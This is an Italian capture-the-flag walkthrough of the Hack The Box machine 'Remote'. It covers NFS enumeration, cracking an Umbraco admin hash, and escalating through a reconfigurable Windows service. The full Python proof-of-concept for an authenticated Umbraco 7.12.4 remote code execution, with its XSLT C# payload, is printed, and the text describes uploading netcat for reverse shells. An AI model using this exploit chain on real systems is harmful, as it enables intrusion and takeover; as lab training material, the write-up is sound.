Eseguo una scansione nmap di tutte le porte con il seguente comando:

nmap -T5 --open -sS -vvv --min-rate=1000 --max-retries=2 -p- -oA full-ports 10.10.10.180

Scansione nmap

Una scansione più approfondita delle porte (-sC -sV) rivela delle informazioni interessanti, infatti, sulla porta 2049 come dettagliato dal servizio RPC gira un nfs (Network file System) quindi probabilmente è possibile montare la partizione in locale:

Controllo quello che c’è all’interno della partizione:

showmount

La monto in locale:

site_backups nfs

ENUM

Pare esserci il backup del sito web e dalle cartelle sembra essere stato realizzato con Umbraco, un content management system in .NET.

Faccio una ricerca su Google e scopro che le credenziali di default di umbraco sono admin:test, quindi eseguo una ricerca all’interno dei file per vedere se trovo qualcosa:

admin login log

Ci sono dei file di log e sembra che l’utente admin@htb.local abbia eseguito di recente l’accesso all’applicazione. La cartella Umbraco dello share contiene dei file .aspx, decido di provare a visualizzarla nel browser e mi trovo di fronte al pannello di login:

Umbraco admin login

Testo le credenziali di default ma non funzionano. A questo punto mi viene il dubbio che anche il nome utente possa non essere corretto nonostante lo abbia trovato nei log, magari è stato cambiato?

Continuo a testare il pannello di login, provo ad utilizzare il form per il recupero della password per avere una ulteriore conferma dell’esistenza dell’utente admin@htb.local. Umbraco permette di enumerare gli utenti attraverso il form di recupero password guardando i tempi di risposta. Inserendo un utente esistente, i tempi di risposta sono molto più elevati. Nel seguente screen il primo tentativo fa riferimento all’utente admin@htb.local, il secondo a utenteacaso@htb.local. Direi che l’utente admin è corretto:

Umbraco user enumeration

Mi sposto di nuovo sullo share, dovrà pur esserci un database dove poter trovare delle credenziali no? Dopo un’attenta ricerca mi imbatto nel file Umbraco.sdf all’interno della cartella App_Data. Il file sdf è il database di Umbraco (SQL Server Compact Database File).

Provo a leggere il contenuto come segue:

Credenziali in Umbraco.sdf

Bingo! Pare esserci la nostra utenza admin@htb.local e la relativa password, probabilmente MD5: b8be16afba8c314ad33d812f22a04991b90e2aaa

USER FLAG

La do in pasto a john per vedere se tira fuori qualcosa:

John

Riesco ad entrare con la password appena trovata baconandcheese, cerco la versione di Umbraco per vedere se esiste qualche rce autenticata:

Versione di Umbraco 7.12.4

Al link seguente è presente un poc per la versione 7.12.4 di Umbraco.

https://www.exploit-db.com/exploits/46153

# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Gregory DRAPERI & Hugo BOUTINON
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# CVE: N/A


import requests;

from bs4 import BeautifulSoup;

def print_dict(dico):
    print(dico.items());
    
print("Start");

# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "XXXX;
password="XXXX";
host = "XXXX";

# Step 1 - Get Main page
s = requests.session()
url_main =host+"/umbraco/";
r1 = s.get(url_main);
print_dict(r1.cookies);

# Step 2 - Process Login
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
loginfo = {"username":login,"password":password};
r2 = s.post(url_login,json=loginfo);

# Step 3 - Go to vulnerable web page
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
r3 = s.get(url_xslt);

soup = BeautifulSoup(r3.text, 'html.parser');
VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};

# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers);

print("End");

Il primo tentativo che faccio è quello di vedere se effettivamente ho rce, lo script originale lancia calc.exe ma non ho modo di sapere se effettivamente la calcolatrice si sia avviata sulla macchina.

Modifico lo script come segue e lancio tcpdump:

ping rce

Dall’immagine seguente è possibile vedere come remote riesca a pingare la mia macchina, ne consegue che l’rce funziona.

tcpdump ping capture

A questo punto vedo se riesco a fare upload di nc.exe attraverso Umbraco e ottenere una reverse shell. 

netcat upload

Adesso non mi resta altro che tentare di lanciare nc.exe che suppongo sia stato caricato all’interno di c:\inetpub\wwwroot\media\1033\nc.exe dal momento che lo share site_backup mostrava la presenza di una cartella “media”.

Modifico lo script come segue, avvio netcat in ascolto e lancio lo script:

codice per reverse shell

Ottengo la shell e prendo user flag:

reverse shell
user flag

ROOT FLAG

A questo punto faccio il download di PowerUp.ps1 sulla macchina e lancio Invoke-AllChecks:

download di PowerUp
python http server

Dai check risulta esserci un servizio vulnerabile in esecuzione:

Servizio riconfigurabile UsoSvc

Vulnerabile in questo caso significa che il servizio può essere riconfigurato dall’utente corrente.

La funzione Invoke-ServiceAbuse automatizza la creazione di un utente amministratore all’interno della macchina sfruttando proprio la possibilità di riconfigurare il servizio. Quello che segue è un check/exploitation manuale della vulnerabilità anziché utilizzare Invoke-ServiceAbuse.

Scarico sulla macchina accesschk.exe, un tool messo a disposizione da windows che permette di vedere il tipo di accesso di utenti o gruppi a vari tipi di risorse come file, cartelle,chiavi di registro, servizi etc.

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Lancio accesschk.exe, mi devo ricordare di utilizzare /accepteula altrimenti in alcune macchine si blocca la shell:

accesschk

E’ possibile vedere come gli utenti del gruppo NT AUTHORITY\SERVICE non abbiano nessuna restrizione sul servizio UsoSvc, questo significa che eventualmente posso riconfigurare il servizio a piacimento. Infatti, enumerando l’utenza corrente, IIS fa proprio parte di quel gruppo.

whoami /all

A questo punto non mi resta che associare al servizio il file di netcat che ho caricato in precedenza e riavviarlo per ottenere una reverse shell.

Servizio riconfigurato

Metto in ascolto netcat, riavvio il servizio e prendo la flag:

reverse shell e root flag